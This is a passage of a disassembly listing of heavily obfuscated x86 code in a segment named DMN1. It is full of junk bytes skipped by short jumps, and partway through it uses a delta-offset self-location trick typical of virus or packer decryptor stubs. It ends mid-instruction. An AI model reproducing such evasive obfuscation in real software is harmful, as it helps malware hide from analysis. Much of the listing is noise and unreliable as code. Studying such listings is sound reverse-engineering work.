--------------------------------------------------------------------------- das pop ss loc_46C406: ; CODE XREF: DMN1:0046C3F0j xchg ebp, edi and eax, 5A46920h jmp short loc_46C425 ; --------------------------------------------------------------------------- dd 702978F4h, 5B1DE1DFh, 8BEB748Dh, 0E82DE6ABh, 52E5617Bh ; --------------------------------------------------------------------------- inc ecx loc_46C425: ; CODE XREF: DMN1:0046C40Ej jmp short loc_46C42B ; --------------------------------------------------------------------------- align 4 db 31h, 52h, 2Ah ; --------------------------------------------------------------------------- loc_46C42B: ; CODE XREF: DMN1:loc_46C425j mov esi, [ebp+0] xchg ecx, eax stc cld jmp short loc_46C44A ; --------------------------------------------------------------------------- dd 0B3406129h, 95EB66E1h, 9950DBD0h, 50D3BC39h, 514B513Eh db 79h, 97h ; --------------------------------------------------------------------------- loc_46C44A: ; CODE XREF: DMN1:0046C432j jmp short loc_46C454 ; --------------------------------------------------------------------------- dd 908EBEEEh, 0AF212D4Fh ; --------------------------------------------------------------------------- loc_46C454: ; CODE XREF: DMN1:loc_46C44Aj inc ebp jmp short loc_46C462 ; --------------------------------------------------------------------------- db 0E1h dd 430A7283h, 949C81E8h db 68h, 3Dh ; --------------------------------------------------------------------------- loc_46C462: ; CODE XREF: DMN1:0046C455j clc jmp short loc_46C46F ; --------------------------------------------------------------------------- align 2 dw 0A0AEh ; --------------------------------------------------------------------------- mov edi, 0E80A8817h inc edx dec ebp loc_46C46F: ; CODE XREF: DMN1:0046C463j jmp short loc_46C489 ; --------------------------------------------------------------------------- db 26h, 0C1h, 8Ch dd 0AE945713h, 2ED7F4E1h, 0F050809Dh, 0A2FA39E4h, 0DEF8969Bh db 0E9h ; --------------------------------------------------------------------------- loc_46C489: ; CODE XREF: DMN1:loc_46C46Fj xchg eax, eax jmp short loc_46C4A7 ; --------------------------------------------------------------------------- test al, 8Fh daa adc eax, 352EC7AEh or bl, [ebp+1AEDB97h] push ebx sbb ah, 64h xor esp, [eax+756A6C76h] xor al, 28h loc_46C4A7: ; CODE XREF: DMN1:0046C48Bj jmp short loc_46C4BD ; --------------------------------------------------------------------------- db 8, 0C4h, 99h dd 0C39054E8h, 1CB5D51Ah, 0B639AECFh, 599ACA4Fh ; --------------------------------------------------------------------------- xchg eax, ebp loc_46C4BD: ; CODE XREF: DMN1:loc_46C4A7j test ebp, 0C6DA2209h xor esi, [eax] or ebp, 121B0C55h xchg ecx, ebp xchg edx, esp jmp short $+2 jmp short loc_46C4EC ; --------------------------------------------------------------------------- db 0E0h dd 2867185Fh, 13072B6Ah, 696C114Ch, 0F3B28371h, 7B447BEEh dd 7CDCD98h ; --------------------------------------------------------------------------- loc_46C4EC: ; CODE XREF: DMN1:0046C4D1j jmp short loc_46C50D ; --------------------------------------------------------------------------- dw 778Bh dd 0AC46175h, 0ECC4676Fh, 24C16AC3h, 0C0CD57E7h, 0D159271Ch dd 0E64CE7EBh, 175DD847h db 36h ; --------------------------------------------------------------------------- loc_46C50D: ; CODE XREF: DMN1:loc_46C4ECj sar ecx, 3Fh jmp short loc_46C529 ; --------------------------------------------------------------------------- db 90h db 6Ah dd 511D032h, 8E00AFA2h, 0AD3B83D6h, 9E84B71h, 0F1608CE1h db 8Ah ; --------------------------------------------------------------------------- loc_46C529: ; CODE XREF: DMN1:0046C510j dec ebp jmp short loc_46C538 ; --------------------------------------------------------------------------- dd 4C9854Ah, 0D1237CB2h, 1D5A7B46h ; --------------------------------------------------------------------------- loc_46C538: ; CODE XREF: DMN1:0046C52Aj xchg ebp, ecx neg ecx jmp short loc_46C556 ; --------------------------------------------------------------------------- dw 864Eh dd 0A4A4C051h, 0AE9A74EAh, 4D2DA50Eh, 5D8BFC4Eh, 60492C0Bh db 0C2h, 93h ; --------------------------------------------------------------------------- loc_46C556: ; CODE XREF: DMN1:0046C53Cj jmp short loc_46C572 ; --------------------------------------------------------------------------- dd 0B0708649h, 0A653704Eh, 6F247E53h, 251C59A7h, 0A195C666h dd 82120E86h db 0F2h, 0A3h ; --------------------------------------------------------------------------- loc_46C572: ; CODE XREF: DMN1:loc_46C556j jmp short $+2 xchg esi, [eax] jmp short loc_46C597 ; --------------------------------------------------------------------------- dd 166A9EDh, 0C229F78h, 6866FDFBh, 0FF50C517h, 585A625Ch dd 74EBFF2Dh, 115966D4h db 77h, 0BDh, 0CCh ; --------------------------------------------------------------------------- loc_46C597: ; CODE XREF: DMN1:0046C576j jmp short loc_46C5AE ; --------------------------------------------------------------------------- pop ds xchg eax, edi push edi or cl, [eax] lodsd or bh, dl jbe short near ptr byte_46C5A9 daa retf 7E10h ; --------------------------------------------------------------------------- db 0F2h db 74h byte_46C5A9 db 0D3h, 9Bh, 0CEh ; CODE XREF: DMN1:0046C5A1j db 6, 34h ; --------------------------------------------------------------------------- loc_46C5AE: ; CODE XREF: DMN1:loc_46C597j not ebp sub esi, 0D9FCF406h clc shl ebp, 0F6h xchg edx, ebp ror esi, 1 inc ecx jmp short $+2 cld dec ecx jmp short loc_46C5CD ; --------------------------------------------------------------------------- or ecx, [edx-23h] mov esp, 0C4797307h loc_46C5CD: ; CODE XREF: DMN1:0046C5C3j jmp short loc_46C5D1 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- pusha loc_46C5D1: ; CODE XREF: DMN1:loc_46C5CDj jmp short loc_46C5D7 ; --------------------------------------------------------------------------- db 60h db 0A3h, 99h, 21h ; --------------------------------------------------------------------------- loc_46C5D7: ; CODE XREF: DMN1:loc_46C5D1j test ecx, 0CE416FA5h jmp short loc_46C5FE ; --------------------------------------------------------------------------- db 41h dd 2B0F9E5h, 0A55181C2h, 99466214h, 89C128EBh, 5BAACE2Ah dd 5AF96419h, 5AA02A2Eh db 27h, 77h ; --------------------------------------------------------------------------- loc_46C5FE: ; CODE XREF: DMN1:0046C5DDj jmp short loc_46C619 ; --------------------------------------------------------------------------- dd 0BFF774CDh, 4C197150h, 6D132FCBh, 90A322B3h, 5AE1E820h dd 2085D482h db 0EAh ; --------------------------------------------------------------------------- loc_46C619: ; CODE XREF: DMN1:loc_46C5FEj cmc xchg esp, ecx jmp short loc_46C624 ; --------------------------------------------------------------------------- dw 0A407h db 90h db 0E1h, 36h, 87h ; --------------------------------------------------------------------------- loc_46C624: ; CODE XREF: DMN1:0046C61Cj xchg esp, esi loc_46C626: ; CODE XREF: DMN1:0046C659j xchg esp, [eax] jmp short loc_46C636 ; --------------------------------------------------------------------------- dw 90D1h dd 0EFBCF3DCh, 8B353DBBh ; --------------------------------------------------------------------------- fldcw word ptr [ebx] loc_46C636: ; CODE XREF: DMN1:0046C628j bswap ebx jmp short loc_46C651 ; --------------------------------------------------------------------------- dw 7B3Fh dd 0B286041Eh, 0F4580ACFh, 3EBE996Bh, 0A6211D2Ch, 0F2ACD24h db 0B3h ; --------------------------------------------------------------------------- loc_46C651: ; CODE XREF: DMN1:0046C638j jmp short loc_46C657 ; --------------------------------------------------------------------------- db 55h db 17h, 0DCh, 52h ; --------------------------------------------------------------------------- loc_46C657: ; CODE XREF: DMN1:loc_46C651j jmp short loc_46C662 ; --------------------------------------------------------------------------- jmp short loc_46C626 ; --------------------------------------------------------------------------- db 2Eh ; --------------------------------------------------------------------------- popa pushf retn 3E9Ah ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_46C662: ; CODE XREF: DMN1:loc_46C657j jmp short loc_46C668 ; --------------------------------------------------------------------------- dd 0F349F032h ; --------------------------------------------------------------------------- loc_46C668: ; CODE XREF: DMN1:loc_46C662j jmp short loc_46C67A ; --------------------------------------------------------------------------- sbb al, 41h mov ds:0F125E09h, eax div byte ptr [eax] loc_46C673: ; CODE XREF: DMN1:0046C67Dj push edx ror dword ptr [edi+63D548DBh], 1 loc_46C67A: ; CODE XREF: DMN1:loc_46C668j jmp short loc_46C68B ; --------------------------------------------------------------------------- dec ecx jb short loc_46C673 add byte ptr [eax+7Bh], 61h adc edi, [esp+edx*2-5B4D42A1h] push cs loc_46C68B: ; CODE XREF: DMN1:loc_46C67Aj jmp short loc_46C691 ; --------------------------------------------------------------------------- db 83h, 29h, 73h db 0A0h ; --------------------------------------------------------------------------- loc_46C691: ; CODE XREF: DMN1:loc_46C68Bj jmp short loc_46C6A0 ; --------------------------------------------------------------------------- db 93h dd 1595503Eh, 0FA46092Bh, 57D37C73h ; --------------------------------------------------------------------------- loc_46C6A0: ; CODE XREF: DMN1:loc_46C691j jmp short loc_46C6B1 ; --------------------------------------------------------------------------- dw 0E997h ; --------------------------------------------------------------------------- xlat push ecx pop dword ptr [eax+ebx*8] retn 7F39h ; --------------------------------------------------------------------------- pushf inc esi mov ch, 41h xchg eax, edi loc_46C6B1: ; CODE XREF: DMN1:loc_46C6A0j jmp short loc_46C6BB ; --------------------------------------------------------------------------- db 4Ch dd 2A769836h db 99h, 63h, 1Ch ; --------------------------------------------------------------------------- loc_46C6BB: ; CODE XREF: DMN1:loc_46C6B1j jmp short loc_46C6C4 ; --------------------------------------------------------------------------- db 0D5h, 0F7h, 2Ch ; --------------------------------------------------------------------------- ror dword ptr [edx], 19h loc_46C6C4: ; CODE XREF: DMN1:loc_46C6BBj xchg edi, edi mov ebx, ebp not edx jmp short loc_46C6DB ; --------------------------------------------------------------------------- dd 14E81F79h, 1C41FB1Eh, 44865EBAh db 0CFh, 53h, 0CFh ; --------------------------------------------------------------------------- loc_46C6DB: ; CODE XREF: DMN1:0046C6CAj xchg edi, ecx jmp short loc_46C6F4 ; --------------------------------------------------------------------------- db 0BCh dd 7B77C92Ch, 272F97BCh, 0B3F0D57Ah, 0A83563F7h, 4088FCC6h ; --------------------------------------------------------------------------- loc_46C6F4: ; CODE XREF: DMN1:0046C6DDj jmp short loc_46C702 ; --------------------------------------------------------------------------- dw 916Ah dd 93695E41h, 0D84D190Ah db 17h, 0FFh ; --------------------------------------------------------------------------- loc_46C702: ; CODE XREF: DMN1:loc_46C6F4j jmp short loc_46C709 ; --------------------------------------------------------------------------- dd 65C717B7h db 71h ; --------------------------------------------------------------------------- loc_46C709: ; CODE XREF: DMN1:loc_46C702j jmp short loc_46C721 ; --------------------------------------------------------------------------- db 7Ah dd 452FE563h, 8EDF4060h, 0C7ED22E7h, 6C61106Bh, 0E2C3DBF2h db 0C4h ; --------------------------------------------------------------------------- loc_46C721: ; CODE XREF: DMN1:loc_46C709j jmp short loc_46C738 ; --------------------------------------------------------------------------- pop ebx mov [edi-73CA1BBBh], al sbb byte ptr [ebx-5E625356h], 6Dh mov es, word ptr [esi] mov edx, 0EEF5256Fh loc_46C738: ; CODE XREF: DMN1:loc_46C721j cld jmp short loc_46C748 ; --------------------------------------------------------------------------- db 70h dd 0C0CFE3FAh, 3BE48076h, 1B6CA66Dh ; --------------------------------------------------------------------------- loc_46C748: ; CODE XREF: DMN1:0046C739j xchg edx, edi jmp short loc_46C762 ; --------------------------------------------------------------------------- pop edi jb short loc_46C782 mov bh, 0ECh or al, 5Ch sub edx, [edx+68A9EE39h] shr esi, 1 cmp ch, [esi-49h] adc cl, [esi+1Fh] loc_46C762: ; CODE XREF: DMN1:0046C74Aj jmp short loc_46C77B ; --------------------------------------------------------------------------- dd 3ECF01F9h, 9C380C89h, 0FA1D6304h, 89E042E8h, 0EFC28AEFh db 8Dh, 0F1h, 3Dh ; --------------------------------------------------------------------------- loc_46C77B: ; CODE XREF: DMN1:loc_46C762j add ebx, edx xchg eax, edi jmp short loc_46C796 ; --------------------------------------------------------------------------- db 39h ; --------------------------------------------------------------------------- loc_46C782: ; CODE XREF: DMN1:0046C74Dj call far ptr 4A23h:383D1087h or ecx, 1Ch outsd push esp xor byte ptr [ebx+28D6B92h], 0Bh ; --------------------------------------------------------------------------- db 0B4h ; --------------------------------------------------------------------------- loc_46C796: ; CODE XREF: DMN1:0046C77Fj mov [ebx], esp jmp short loc_46C7B7 ; --------------------------------------------------------------------------- dw 2017h dd 557ED52Ah, 694CDFC8h, 1D857DADh, 0D65A439Ah, 83475F65h dd 703AF3BFh db 0A1h, 92h, 0E4h ; --------------------------------------------------------------------------- loc_46C7B7: ; CODE XREF: DMN1:0046C798j std jmp short loc_46C7D8 ; --------------------------------------------------------------------------- dw 0D360h dd 7CBB20h, 62EE5B82h, 0E7509DF5h, 0CCFC75F6h, 0AB6B15DFh dd 8EAA1E9Eh, 128917B9h ; --------------------------------------------------------------------------- loc_46C7D8: ; CODE XREF: DMN1:0046C7B8j jmp short loc_46C7E1 ; --------------------------------------------------------------------------- and [eax], cl mov ah, 8Fh add edx, [ebx] loc_46C7E1: ; CODE XREF: DMN1:loc_46C7D8j test ebx, 13723F9Ch clc stc inc edx jmp short loc_46C801 ; --------------------------------------------------------------------------- dd 686AB88Fh, 0E904CCF7h, 4B68FE6h, 0D33599A1h, 0ACC99088h db 8Fh ; --------------------------------------------------------------------------- loc_46C801: ; CODE XREF: DMN1:0046C7EAj xchg esp, esi jmp short loc_46C816 ; --------------------------------------------------------------------------- db 6Eh, 48h, 0EAh ; --------------------------------------------------------------------------- pushf cmp [ecx-272BC1D5h], al retn ; --------------------------------------------------------------------------- dd 47C73FB8h db 6Dh, 0B5h ; --------------------------------------------------------------------------- loc_46C816: ; CODE XREF: DMN1:0046C803j jmp short loc_46C826 ; --------------------------------------------------------------------------- dd 73672EFBh, 417ACF87h, 0F31FDDBFh ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- push esi loc_46C826: ; CODE XREF: DMN1:loc_46C816j jmp short loc_46C82A ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 7Ah ; --------------------------------------------------------------------------- loc_46C82A: ; CODE XREF: DMN1:loc_46C826j stc xchg ebx, edx jmp short loc_46C833 ; --------------------------------------------------------------------------- enter 572Ah, 94h loc_46C833: ; CODE XREF: DMN1:0046C82Dj jmp short loc_46C852 ; --------------------------------------------------------------------------- db 2Fh, 80h, 0FEh dd 0F9C0952Eh, 2AAE629Ch, 5A39A1AEh, 6DEEC78Ch, 0EC93881Bh dd 3DB7DB6Ah ; --------------------------------------------------------------------------- push es push esi loc_46C852: ; CODE XREF: DMN1:loc_46C833j jmp short loc_46C867 ; --------------------------------------------------------------------------- dd 67D69166h, 44A63C82h, 23A5C558h, 8433ECB0h ; --------------------------------------------------------------------------- adc [eax+2Eh], dl loc_46C867: ; CODE XREF: DMN1:loc_46C852j std add ebx, 1 jmp short loc_46C880 ; --------------------------------------------------------------------------- db 77h, 36h, 74h dd 0A90C3843h, 0B36DF2DBh, 957C2BCFh, 0D0E32CDAh ; --------------------------------------------------------------------------- loc_46C880: ; CODE XREF: DMN1:0046C86Bj stc jmp short loc_46C889 ; --------------------------------------------------------------------------- db 91h dd 0DE9031DBh ; --------------------------------------------------------------------------- push ds loc_46C889: ; CODE XREF: DMN1:0046C881j jmp short loc_46C898 ; --------------------------------------------------------------------------- db 0F3h dd 0EF7C82E1h, 0D76490FCh, 7219EBEFh ; --------------------------------------------------------------------------- loc_46C898: ; CODE XREF: DMN1:loc_46C889j jmp short loc_46C8B4 ; --------------------------------------------------------------------------- dw 0D378h dd 265DA06Bh, 2531F4Dh, 422D3EF9h, 0D5445E3h, 5AACA8C0h dd 0FD95645Ch ; --------------------------------------------------------------------------- loc_46C8B4: ; CODE XREF: DMN1:loc_46C898j cmp esp, 7172A3E5h jmp short loc_46C8C8 ; --------------------------------------------------------------------------- aad 75h or bl, bh rol byte ptr [edx], cl retf 6456h ; --------------------------------------------------------------------------- db 0E4h, 0DCh, 41h ; --------------------------------------------------------------------------- loc_46C8C8: ; CODE XREF: DMN1:0046C8BAj xor eax, 5FAD6F29h jmp short loc_46C8E9 ; --------------------------------------------------------------------------- dd 829AE9A8h, 0E0836CBCh, 70EEE554h, 923F1E96h, 0F743BD26h dd 0EA448A8Ch ; --------------------------------------------------------------------------- popf loc_46C8E9: ; CODE XREF: DMN1:0046C8CEj jmp short loc_46C907 ; --------------------------------------------------------------------------- db 2Dh dd 506A1BF1h, 4233DB7Eh, 8ADBA1E0h, 4A09FA16h, 0C3374C40h dd 0A5E438D6h ; --------------------------------------------------------------------------- mov ah, 69h wait loc_46C907: ; CODE XREF: DMN1:loc_46C8E9j add ebx, 2 clc jmp short loc_46C91A ; --------------------------------------------------------------------------- db 0B6h, 64h, 81h dd 0AB938F8h, 0A3E756A5h db 0CDh, 45h ; --------------------------------------------------------------------------- loc_46C91A: ; CODE XREF: DMN1:0046C90Bj xchg ebp, ecx jmp short loc_46C930 ; --------------------------------------------------------------------------- dw 0D780h dd 0AB8EE008h, 8711DED5h, 0DA097688h, 0F25C6CC5h ; --------------------------------------------------------------------------- loc_46C930: ; CODE XREF: DMN1:0046C91Cj std jmp short loc_46C937 ; --------------------------------------------------------------------------- db 0EDh ; --------------------------------------------------------------------------- jns short loc_46C95F pop esi loc_46C937: ; CODE XREF: DMN1:0046C931j jmp short loc_46C950 ; --------------------------------------------------------------------------- and al, 0BCh db 26h mov ebx, 2D2D4B0Dh mov ecx, 0F520F602h cmp byte ptr [ebp+72h], 0DCh xchg eax, esp stosd rcr byte ptr [edx-40h], 9 loc_46C950: ; CODE XREF: DMN1:loc_46C937j bswap esi clc jmp short loc_46C960 ; --------------------------------------------------------------------------- db 91h, 22h, 0F0h dd 7E05A9Fh db 6Dh, 0C5h, 46h ; --------------------------------------------------------------------------- loc_46C95F: ; CODE XREF: DMN1:0046C934j cmc loc_46C960: ; CODE XREF: DMN1:0046C953j sub ebp, 1 jz short loc_46C9BB xchg ebx, ebx xchg eax, ebx jmp short loc_46C96D ; --------------------------------------------------------------------------- db 39h ; --------------------------------------------------------------------------- xchg eax, ebx loc_46C96D: ; CODE XREF: DMN1:0046C969j jmp short loc_46C971 ; --------------------------------------------------------------------------- db 41h db 7Fh ; --------------------------------------------------------------------------- loc_46C971: ; CODE XREF: DMN1:loc_46C96Dj xchg esi, ebp jmp short loc_46C980 ; --------------------------------------------------------------------------- db 4Fh, 4, 0E1h dd 7EFFCB5h, 3EA000B1h ; --------------------------------------------------------------------------- loc_46C980: ; CODE XREF: DMN1:0046C973j cmc xor edx, 9C456819h jmp short loc_46C98A ; --------------------------------------------------------------------------- db 6Ah ; --------------------------------------------------------------------------- loc_46C98A: ; CODE XREF: DMN1:0046C987j xchg ebp, ecx jmp short loc_46C9A2 ; --------------------------------------------------------------------------- and esi, edi dec ebp leave or bl, [esp+eax] mov esi, esp mov [ecx+1BE9B2C3h], bh db 67h rol bl, 0FBh std loc_46C9A2: ; CODE XREF: DMN1:0046C98Cj jmp short loc_46C9B4 ; --------------------------------------------------------------------------- dd 0E309AA99h, 563A4BC0h, 71B835CCh, 9ED807A3h ; --------------------------------------------------------------------------- loc_46C9B4: ; CODE XREF: DMN1:loc_46C9A2j xchg ecx, edi jmp loc_46C282 ; --------------------------------------------------------------------------- loc_46C9BB: ; CODE XREF: DMN1:0046C963j xchg ebp, ecx xchg esp, edi jmp short loc_46C9CA ; --------------------------------------------------------------------------- db 80h, 71h, 5Eh dd 0A211AB67h db 0AEh, 0C7h ; --------------------------------------------------------------------------- loc_46C9CA: ; CODE XREF: DMN1:0046C9BFj jmp short loc_46C9DB ; --------------------------------------------------------------------------- dd 0B659F4E6h, 3018E5FAh, 0B271A00Dh db 0Eh, 0EFh, 28h ; --------------------------------------------------------------------------- loc_46C9DB: ; CODE XREF: DMN1:loc_46C9CAj jmp short loc_46C9ED ; --------------------------------------------------------------------------- db 92h, 76h, 0ADh dd 81ED762Eh, 0A41DD606h, 0F85F4D50h ; --------------------------------------------------------------------------- cmpsb loc_46C9ED: ; CODE XREF: DMN1:loc_46C9DBj clc cmc cld jmp short loc_46CA0C ; --------------------------------------------------------------------------- dw 2F20h dd 22481688h, 6EB622C5h, 0A72668BAh, 71E61CD4h, 344F2A39h dd 461176C9h ; --------------------------------------------------------------------------- loc_46CA0C: ; CODE XREF: DMN1:0046C9F0j pop edi jmp short loc_46CA12 ; --------------------------------------------------------------------------- cmp [esi-1Fh], dl loc_46CA12: ; CODE XREF: DMN1:0046CA0Dj stc jmp short loc_46CA19 ; --------------------------------------------------------------------------- db 0BAh, 9, 78h db 7Bh ; --------------------------------------------------------------------------- loc_46CA19: ; CODE XREF: DMN1:0046CA13j jmp short loc_46CA1F ; --------------------------------------------------------------------------- db 6Fh db 6Fh, 0B3h, 0F4h ; --------------------------------------------------------------------------- loc_46CA1F: ; CODE XREF: DMN1:loc_46CA19j jmp short loc_46CA35 ; --------------------------------------------------------------------------- db 2Ch, 42h, 86h dd 12606992h, 0BF411FB6h, 0F64E4255h, 23A6F4Dh db 2Ch ; --------------------------------------------------------------------------- loc_46CA35: ; CODE XREF: DMN1:loc_46CA1Fj cld not edi jmp short loc_46CA40 ; --------------------------------------------------------------------------- dw 0C8E4h dd 0B76650FDh ; --------------------------------------------------------------------------- loc_46CA40: ; CODE XREF: DMN1:0046CA38j jmp short loc_46CA45 ; --------------------------------------------------------------------------- dw 50F9h db 8Ah ; --------------------------------------------------------------------------- loc_46CA45: ; CODE XREF: DMN1:loc_46CA40j jmp short loc_46CA64 ; --------------------------------------------------------------------------- db 0F1h dd 0A983DDF9h, 5E6975Eh, 5E2BE1C4h, 3DEA5854h, 0ACF249CFh dd 0F6340FAAh, 0BC598040h ; --------------------------------------------------------------------------- loc_46CA64: ; CODE XREF: DMN1:loc_46CA45j jmp short loc_46CA7C ; --------------------------------------------------------------------------- dw 0B864h dd 3962544Bh, 67BB70C3h, 0B2F15F20h, 0A638AB24h, 0B40E335Eh ; --------------------------------------------------------------------------- loc_46CA7C: ; CODE XREF: DMN1:loc_46CA64j cld jmp short loc_46CA8C ; --------------------------------------------------------------------------- db 0E0h dd 0C86A050Fh, 215B901Fh, 0BBFFFBC7h ; --------------------------------------------------------------------------- loc_46CA8C: ; CODE XREF: DMN1:0046CA7Dj jmp short loc_46CA99 ; --------------------------------------------------------------------------- dw 1F18h dd 0FEF681h, 53BAF16Dh ; --------------------------------------------------------------------------- inc ebx loc_46CA99: ; CODE XREF: DMN1:loc_46CA8Cj cld jmp loc_46BBFB ; --------------------------------------------------------------------------- loc_46CA9F: ; CODE XREF: DMN1:0046D719j popa pop ebp jmp loc_46C09B ; --------------------------------------------------------------------------- dw 0A2A2h dd 4D3973DCh, 0BE31A040h, 0BB0B3AD4h, 9FD02448h, 729A0ADEh dd 6C593F3Dh, 7E37BD52h, 0F1F3F0AAh, 0ECB02A81h, 0E5B818D9h dd 0CDA4D79Bh, 0D66195DEh, 0E71E9AC2h, 0C91DEBA3h, 53F735FAh dd 0CB7202E6h, 1DFDAD58h, 0FF1738E0h, 0D00AF2E8h, 9835A4ADh dd 3B0E68Ch, 6610E144h, 977887D0h, 9FCCAFFBh, 26645143h dd 553C0AE3h, 7E5210E5h, 0E27C99D9h, 6C9EC875h, 58D3AD28h dd 0CCE4C38Dh, 8238438Bh, 0D9E3CACh, 9F7112D3h, 0DCA45A97h dd 9C26C6AAh, 0F5EF807h, 5B07C8EDh, 5D1E36D9h, 55D5B974h dd 11E4A1F2h, 9D9952D2h, 0F4D4EB04h, 0D037EC2Ah, 940ED01Bh dd 32DB8E5Ch, 6E87FD5Eh, 121CCE0Ch, 0C180377Bh, 9C0FD110h dd 44C9159h, 4CF7509Ch, 0AF74525Ch, 7782B350h, 0A3A812D7h dd 79A0AB89h, 2167E8D0h, 72F39B18h, 0C156B8BEh, 1F06CAD7h dd 0DA73FBECh, 315DB7DEh, 0E072C36Eh, 26FB68B6h, 48C0245h dd 90B03AAFh, 6FCD65A1h, 0B696F46Bh, 47A9DEB9h, 0AEB0D8BAh dd 0E3AE7022h, 7D59A4F7h, 513A8F97h, 0BF99A156h, 85C3D510h dd 0EF9ACB18h, 0D7A3A99Dh, 925FE592h, 9DF7BDCBh, 8366C55Ch dd 0FBEE8074h, 5BE8907Fh, 0E2DCBEF9h, 0F3EEFDB6h, 0D5451E9Ah dd 5D1697EAh, 0F64B0C5h, 0DE5B9A53h, 8EACAC18h, 596E3178h dd 9131705Dh, 0F5B738B0h, 7AB8FD11h, 847EF6E4h, 0C3D7CE60h dd 7E3AE393h, 0E9BDB6ADh, 0B194934Bh, 0DF873FFh, 0A9068349h dd 0E32F9ECDh, 5B49A0C0h, 3AB096B8h, 6E889D29h, 0C18BC367h dd 2D9EFA14h, 0AF19F312h, 71CCB243h, 30C681F2h, 28CF4FDCh dd 5A1728F1h, 0FCA9A355h, 9ECE1BC4h, 3F58327Bh, 933EC877h dd 4F01DB5Bh, 0DE147883h, 0B5B9D5A5h, 54931554h, 0E494CDF1h dd 0BF07DC5Ah, 0CB69F370h, 0DF2AB580h, 45C4AF52h, 431AC782h dd 50E41157h, 7FF2C40Dh, 1560F3C4h, 0C6FA6625h, 1CB1D87Dh dd 8D63B943h, 67AF49A4h, 0C220FC33h, 59CC4A85h, 50CCE3DFh dd 0F99C003Fh, 56074102h, 410961A3h, 0E382F022h, 0D79E6577h dd 0D104F9B9h, 0C7009AB5h, 3A3A4CF2h, 0D21F7C35h, 9E920049h dd 269ED3EDh, 32358C5Eh, 4CA2D580h, 0BFFA3352h, 1F5986BAh dd 36345A3Bh, 162711F2h, 0D14DFE89h, 656E7F48h, 76D70173h dd 42D2EF96h, 72A004B7h, 17BA1C6Eh, 4BA427B9h, 28607E88h dd 1151D26Eh, 85710C5h, 569AA7A2h, 6AE5D244h, 9F705E3Bh dd 0F8A77EAEh, 801EAE15h, 0D699B09Eh, 86A1312Eh, 0B7868A5Ah dd 0ECA277E0h, 14F49E8h, 0FB01DFAh, 74714E57h, 0F5169A87h dd 41DE4F97h, 0D665CE7Eh, 0F8BE88F7h, 7A69CD71h, 0D1A0126Bh dd 996121CBh, 96006F9Eh, 8C74ACB5h, 0B77531Dh, 0A68331CAh dd 0FE1E18F8h, 0E64ED443h, 92105FE9h, 0F0B429Bh, 0A2036141h dd 10EF04D1h, 0EC8236A3h, 0DFF8CACEh, 122FA17h, 55327BE0h dd 0E153AC37h, 20288BB7h, 7AE1325Fh, 2212962h, 0F59EDE9Ah dd 195C40FCh, 0FD24B091h, 9923017Fh, 0ABAD3A23h, 91C40DB6h dd 0E7E13907h, 0CB8FE97Eh, 224D1D4Eh, 0FCE6CD3Ah, 98D22192h dd 52C8BDA7h, 535F1709h, 0CD04B68Ch, 391B59C2h, 0F8388ABEh dd 70DDB071h, 0C2810FD8h, 154298DFh, 7B6576C1h, 22EE4A1Bh dd 7DB319A4h, 0BDD2F841h, 9F3867B2h, 0C7250F73h, 0B860373Eh dd 25A1D5FEh, 14552B98h, 3E4DCB19h, 63109079h, 0A57211A0h dd 759BBA9h, 0C871A2DEh, 0A54D527Bh, 0A5B777BDh, 0AF09E951h dd 83BA3509h, 54D74DFAh, 0F4FBE901h, 8EA7D2B9h, 3FB6DA9Ah dd 47AA071Bh, 0BB6B24E2h, 65E39992h, 34C5D12Fh, 0B465C85Ch dd 33123A8Fh, 88C6F28Dh, 59656016h, 1F44E463h, 0C150577Bh dd 0B7CB897Bh, 77BBBA90h, 0F34F4B9Ah, 0D0B1AC24h, 26B68347h dd 1B81519Ch, 0D83782C7h, 88EDF459h, 44F0E7F8h, 3C320386h dd 7D66DFF0h, 9421708Ah, 46C1BEB3h, 417C7D60h, 3C160737h dd 9135F730h, 53330E8Dh, 0FF9B4C3Eh, 0C1191618h, 10616FEDh dd 0F2C36AB1h, 3DC305E3h, 31935DA7h, 76020202h, 13BA2E21h dd 39F4C856h, 5C839E5h, 0E6FA5DF4h, 0EE5DEDDCh, 33294E3Ah dd 5589C557h, 5AAB2353h, 0E47EB655h, 0DAE4BB80h, 4EC0816Fh ; --------------------------------------------------------------------------- push ebp mov ebp, esp call $+5 pop ebp sub ebp, 6CF24h pusha mov eax, 0C1DAE02h push eax xchg eax, ecx stc jmp short loc_46CF50 ; --------------------------------------------------------------------------- db 99h dd 231DAB2Dh, 0C8EBE2F7h, 6A71B7Ch, 9520EB8h, 9852D4B5h dd 48240F27h ; --------------------------------------------------------------------------- loc_46CF50: ; CODE XREF: DMN1:0046CF35j jmp short loc_46CF5D ; --------------------------------------------------------------------------- dw 6B0Bh dd 0B39976Eh, 0EF3F572Ch db 0BCh ; --------------------------------------------------------------------------- loc_46CF5D: ; CODE XREF: DMN1:loc_46CF50j jmp short loc_46CF6F ; --------------------------------------------------------------------------- db 29h ; --------------------------------------------------------------------------- jmp short loc_46CF94 ; --------------------------------------------------------------------------- dw 4E21h dd 3C51433h, 0B3FB3FA3h db 0C8h, 68h, 0C1h ; --------------------------------------------------------------------------- loc_46CF6F: ; CODE XREF: DMN1:loc_46CF5Dj jmp short loc_46CF81 ; --------------------------------------------------------------------------- db 0A7h, 2 dup(30h) dd 0C76EDEE7h, 5BA9E5CBh, 694840F6h db 64h ; --------------------------------------------------------------------------- loc_46CF81: ; CODE XREF: DMN1:loc_46CF6Fj jmp short $+2 jmp short loc_46CF9E ; --------------------------------------------------------------------------- db 7Ch, 0FAh, 0FCh dd 3B2F6A32h, 69BAC7B8h, 0BB2223BFh ; --------------------------------------------------------------------------- loc_46CF94: ; CODE XREF: DMN1:0046CF60j mov ah, bh fnstcw word ptr ds:0D42756DBh out 0F8h, al ; AT 80287 data. ; 286 sends opcodes & operands and receives results. loc_46CF9E: ; CODE XREF: DMN1:0046CF83j xchg ecx, eax sub edi, edi jmp short loc_46CFC0 ; --------------------------------------------------------------------------- dd 7F412F19h, 16E1DDF8h, 0DD76F1FDh, 0E97C8BB1h, 0EF9809EDh dd 721DC594h, 7AD235FFh ; --------------------------------------------------------------------------- loc_46CFC0: ; CODE XREF: DMN1:0046CFA2j jmp short loc_46CFCC ; --------------------------------------------------------------------------- dw 81Eh dd 3898818Dh, 0BA3D7C4Ah ; --------------------------------------------------------------------------- loc_46CFCC: ; CODE XREF: DMN1:loc_46CFC0j jmp short 